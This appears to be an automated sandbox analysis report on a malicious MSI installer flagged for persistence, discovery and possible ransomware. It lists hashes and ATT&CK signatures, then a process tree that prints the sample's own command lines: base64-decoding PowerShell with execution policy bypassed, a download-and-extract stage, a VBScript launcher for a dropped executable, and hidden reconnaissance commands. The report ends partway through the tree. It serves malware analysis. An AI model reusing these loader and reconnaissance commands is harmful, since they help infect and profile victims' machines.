65a0e69ff0cfda6d14ad205392ff25bf52f3ed5405c5fe6f4d96d0343479b805

Analysis

max time kernel
149s
max time network
147s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/10/2026, 06:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
v5.msi
Size 29KB
Sample261030-gzbb7shx21
SHA256 65a0e69ff0cfda6d14ad205392ff25bf52f3ed5405c5fe6f4d96d0343479b805
MD5 2a67ab13a81c285446c407de8a53fe04
SHA1 94c6e3720560f773bce27531f202e414aae1355c
SHA512 dceea0a63b345eaa665b02e6090049096d04e5345e4d258577cf67b81431f9cb59d37a09ff9aad9267ac235557f28664201334e5d5e7b905c92d3c044747ef91
SSDEEP 384:Cz9OjP9PNA7GZXJ/0F3/ZChBQaHMey3M5JC0ioXYGWvAcao2r+hwGsuWG1N/0rx:CdyZWF37jeWMbCbGbqxVN/0r
TLSH
T102D23A56B604D332C8830B314A5FEBE48F769C1C8FA321523696B75C2DB269025FB9E0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution persistence privilege_escalation ransomware

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 15 IoCs

Run Powershell to get system information as a root user.

execution

PowerShell

T1059.001

pid	Process
5928	powershell.exe
1236	powershell.exe
3152	powershell.exe
956	powershell.exe
1520	powershell.exe
6080	powershell.exe
4532	powershell.exe
5224	powershell.exe
5928	powershell.exe
2832	powershell.exe
4864	powershell.exe
1236	powershell.exe
4108	powershell.exe
2384	powershell.exe
1408	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2091445952-3649787497-104050984-1000\Control Panel\International\Geo\Nation	wscript.exe

Creates a file in the Startup directory 1 TTPs 1 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeployFinalize.lnk	msiexec.exe

Executes dropped EXE 1 IoCs

pid	Process
6064	ConfigEngine.exe

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
1876	wscript.exe

Drops file in Windows directory 8 IoCs

description	ioc	Process
File created	C:\Windows\Installer\e590ca8.msi	msiexec.exe
File opened for modification	C:\Windows\Installer\e590ca8.msi	msiexec.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\Installer\SourceHash{7DE76F19-591E-4485-860A-5A31B84959F3}	msiexec.exe
File opened for modification	C:\Windows\Installer\MSID73.tmp	msiexec.exe
File created	C:\Windows\Installer\e590caa.msi	msiexec.exe

Queries registry keys for unique system GUIDs 1 TTPs 2 IoCs

Queries the MachineGuid or HwProfileGuid value from the command line, commonly used to create a unique victim ID.

discovery

System Information Discovery

T1082

pid	Process
1648	reg.exe
5360	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
4744	msiexec.exe

Executes a command shell one-liner 1 TTPs 21 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2432	cmd.exe
1272	cmd.exe
2100	cmd.exe
4780	cmd.exe
5932	cmd.exe
404	cmd.exe
1644	cmd.exe
6112	cmd.exe
204	cmd.exe
6056	cmd.exe
5116	cmd.exe
3076	cmd.exe
4280	cmd.exe
1096	cmd.exe
5048	cmd.exe
2196	cmd.exe
4260	cmd.exe
2956	cmd.exe
6000	cmd.exe
2608	cmd.exe
4476	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	ConfigEngine.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 000000000400000095d3837de88660fc0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff00000000270101000008000095d3837d0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed35000000ffffffff00000000070001000068090095d3837d000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff350000000000000005000000ffffffff000000000700010000f8ff1a95d3837d000000000000f0ff350000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d95d3837d000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	vssvc.exe

Checks processor information in registry 2 TTPs 24 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\~MHz	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\5\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2\~MHz	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\~MHz	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\7\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\2	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\3\ProcessorNameString	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\4\~MHz	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\6	ConfigEngine.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	ConfigEngine.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	ConfigEngine.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 41 IoCs

pid	Process
4792	msiexec.exe
4792	msiexec.exe
4108	powershell.exe
4108	powershell.exe
4108	powershell.exe
2384	powershell.exe
2384	powershell.exe
2384	powershell.exe
1408	powershell.exe
1408	powershell.exe
1408	powershell.exe
5224	powershell.exe
5224	powershell.exe
5224	powershell.exe
956	powershell.exe
956	powershell.exe
956	powershell.exe
1520	powershell.exe
1520	powershell.exe
1520	powershell.exe
5928	powershell.exe
5928	powershell.exe
5928	powershell.exe
2832	powershell.exe
2832	powershell.exe
2832	powershell.exe
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
6080	powershell.exe
6080	powershell.exe
6080	powershell.exe
1236	powershell.exe
1236	powershell.exe
1236	powershell.exe
3152	powershell.exe
3152	powershell.exe
3152	powershell.exe
4532	powershell.exe
4532	powershell.exe
4532	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	4744	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4744	msiexec.exe
Token: SeSecurityPrivilege	4792	msiexec.exe
Token: SeCreateTokenPrivilege	4744	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	4744	msiexec.exe
Token: SeLockMemoryPrivilege	4744	msiexec.exe
Token: SeIncreaseQuotaPrivilege	4744	msiexec.exe
Token: SeMachineAccountPrivilege	4744	msiexec.exe
Token: SeTcbPrivilege	4744	msiexec.exe
Token: SeSecurityPrivilege	4744	msiexec.exe
Token: SeTakeOwnershipPrivilege	4744	msiexec.exe
Token: SeLoadDriverPrivilege	4744	msiexec.exe
Token: SeSystemProfilePrivilege	4744	msiexec.exe
Token: SeSystemtimePrivilege	4744	msiexec.exe
Token: SeProfSingleProcessPrivilege	4744	msiexec.exe
Token: SeIncBasePriorityPrivilege	4744	msiexec.exe
Token: SeCreatePagefilePrivilege	4744	msiexec.exe
Token: SeCreatePermanentPrivilege	4744	msiexec.exe
Token: SeBackupPrivilege	4744	msiexec.exe
Token: SeRestorePrivilege	4744	msiexec.exe
Token: SeShutdownPrivilege	4744	msiexec.exe
Token: SeDebugPrivilege	4744	msiexec.exe
Token: SeAuditPrivilege	4744	msiexec.exe
Token: SeSystemEnvironmentPrivilege	4744	msiexec.exe
Token: SeChangeNotifyPrivilege	4744	msiexec.exe
Token: SeRemoteShutdownPrivilege	4744	msiexec.exe
Token: SeUndockPrivilege	4744	msiexec.exe
Token: SeSyncAgentPrivilege	4744	msiexec.exe
Token: SeEnableDelegationPrivilege	4744	msiexec.exe
Token: SeManageVolumePrivilege	4744	msiexec.exe
Token: SeImpersonatePrivilege	4744	msiexec.exe
Token: SeCreateGlobalPrivilege	4744	msiexec.exe
Token: SeBackupPrivilege	5356	vssvc.exe
Token: SeRestorePrivilege	5356	vssvc.exe
Token: SeAuditPrivilege	5356	vssvc.exe
Token: SeBackupPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe
Token: SeTakeOwnershipPrivilege	4792	msiexec.exe
Token: SeRestorePrivilege	4792	msiexec.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
4744	msiexec.exe
4744	msiexec.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 4792 wrote to memory of 2836	4792	msiexec.exe	97
PID 4792 wrote to memory of 1644	4792	msiexec.exe	99
PID 1644 wrote to memory of 1096	1644	cmd.exe	102
PID 1096 wrote to memory of 6112	1096	cmd.exe	106
PID 6112 wrote to memory of 4108	6112	cmd.exe	107
PID 1096 wrote to memory of 4260	1096	cmd.exe	108
PID 4260 wrote to memory of 2384	4260	cmd.exe	109
PID 1096 wrote to memory of 204	1096	cmd.exe	110
PID 204 wrote to memory of 1408	204	cmd.exe	111
PID 1096 wrote to memory of 2332	1096	cmd.exe	112
PID 1096 wrote to memory of 3628	1096	cmd.exe	113
PID 1096 wrote to memory of 4984	1096	cmd.exe	114
PID 1096 wrote to memory of 4372	1096	cmd.exe	116
PID 1096 wrote to memory of 1876	1096	cmd.exe	119
PID 1876 wrote to memory of 6064	1876	wscript.exe	120
PID 6064 wrote to memory of 2608	6064	ConfigEngine.exe	123
PID 2608 wrote to memory of 5224	2608	cmd.exe	125
PID 6064 wrote to memory of 4476	6064	ConfigEngine.exe	127
PID 4476 wrote to memory of 956	4476	cmd.exe	129
PID 6064 wrote to memory of 2956	6064	ConfigEngine.exe	130
PID 2956 wrote to memory of 1520	2956	cmd.exe	132
PID 6064 wrote to memory of 6056	6064	ConfigEngine.exe	134
PID 6056 wrote to memory of 5928	6056	cmd.exe	136
PID 6064 wrote to memory of 2432	6064	ConfigEngine.exe	137
PID 2432 wrote to memory of 2832	2432	cmd.exe	139
PID 6064 wrote to memory of 5048	6064	ConfigEngine.exe	141
PID 5048 wrote to memory of 4864	5048	cmd.exe	143
PID 6064 wrote to memory of 6000	6064	ConfigEngine.exe	145
PID 6000 wrote to memory of 4012	6000	cmd.exe	147
PID 4012 wrote to memory of 116	4012	net.exe	148
PID 6064 wrote to memory of 1272	6064	ConfigEngine.exe	149
PID 1272 wrote to memory of 2812	1272	cmd.exe	151
PID 6064 wrote to memory of 5116	6064	ConfigEngine.exe	152
PID 5116 wrote to memory of 1648	5116	cmd.exe	154
PID 6064 wrote to memory of 3076	6064	ConfigEngine.exe	155
PID 3076 wrote to memory of 6080	3076	cmd.exe	157
PID 6064 wrote to memory of 2100	6064	ConfigEngine.exe	159
PID 2100 wrote to memory of 1236	2100	cmd.exe	161
PID 6064 wrote to memory of 4280	6064	ConfigEngine.exe	162
PID 4280 wrote to memory of 3152	4280	cmd.exe	164
PID 6064 wrote to memory of 4780	6064	ConfigEngine.exe	166
PID 4780 wrote to memory of 4532	4780	cmd.exe	168
PID 6064 wrote to memory of 5932	6064	ConfigEngine.exe	170
PID 5932 wrote to memory of 6100	5932	cmd.exe	172
PID 6100 wrote to memory of 4920	6100	net.exe	173
PID 6064 wrote to memory of 2196	6064	ConfigEngine.exe	174
PID 2196 wrote to memory of 1048	2196	cmd.exe	176
PID 6064 wrote to memory of 404	6064	ConfigEngine.exe	177
PID 404 wrote to memory of 5360	404	cmd.exe	179

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\msiexec.exe
msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\v5.msi
1⤵
- Enumerates connected drives
- Event Triggered Execution: Installer Packages
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4744

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Creates a file in the Startup directory
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4792
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:2836
- C:\Windows\system32\cmd.exe
  cmd /c "DeployFinalize.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1644
- - C:\Windows\system32\cmd.exe
    cmd.exe /C call "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\DeployFinalize.cmd" FINALIZE
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1096
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:6112
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoLogo -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FEED_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4108
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:4260
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "$b=$env:REDIST_FOLDER_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2384
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:204
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -ExecutionPolicy Bypass -Command "$b=$env:REDIST_ENTRY_B64; if (-not $b) { exit 1 }; [Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($b))"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1408
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" ver "
      4⤵
      PID:2332
  - - C:\Windows\system32\findstr.exe
      findstr /I /R "10\. 11\."
      4⤵
      PID:3628
  - - C:\Windows\System32\curl.exe
      "C:\Windows\System32\curl.exe" -fsSL -o "C:\Users\Admin\AppData\Local\Temp\WwGTC5Xx_Qwc1b8eM3H_32519.zip" "https://nodejs.org/dist/v18.20.5/node-v18.20.5-win-x64.zip"
      4⤵
      PID:4984
  - - C:\Windows\System32\tar.exe
      "C:\Windows\System32\tar.exe" -xf "C:\Users\Admin\AppData\Local\Temp\WwGTC5Xx_Qwc1b8eM3H_32519.zip" -C "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP"
      4⤵
      PID:4372
  - - C:\Windows\System32\wscript.exe
      "C:\Windows\System32\WScript.exe" //NOLOGO //B "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\regehcnws.vbs" "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\RedistHost\ConfigEngine.exe" "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\ebs4HnHPwUzU.cfg"
      4⤵
      Checks computer location settings
      Executes a VBScript file via the Windows Script Host.
      Suspicious use of WriteProcessMemory
      PID:1876
    - - C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\RedistHost\ConfigEngine.exe
        
        "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\RedistHost\ConfigEngine.exe" "C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\ebs4HnHPwUzU.cfg"
        5⤵
        Executes dropped EXE
        Reads the TCP/IP host and domain name from the registry
        Checks processor information in registry
        Suspicious use of WriteProcessMemory
        
        PID:6064
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2608
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5224
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4476
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "[System.Globalization.CultureInfo]::InstalledUICulture.Name"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:956
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1520
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6056
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:5928
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2432
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:2832
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5048
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4864
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:6000
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:4012
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:116
      - C:\Windows\system32\cmd.exe
        
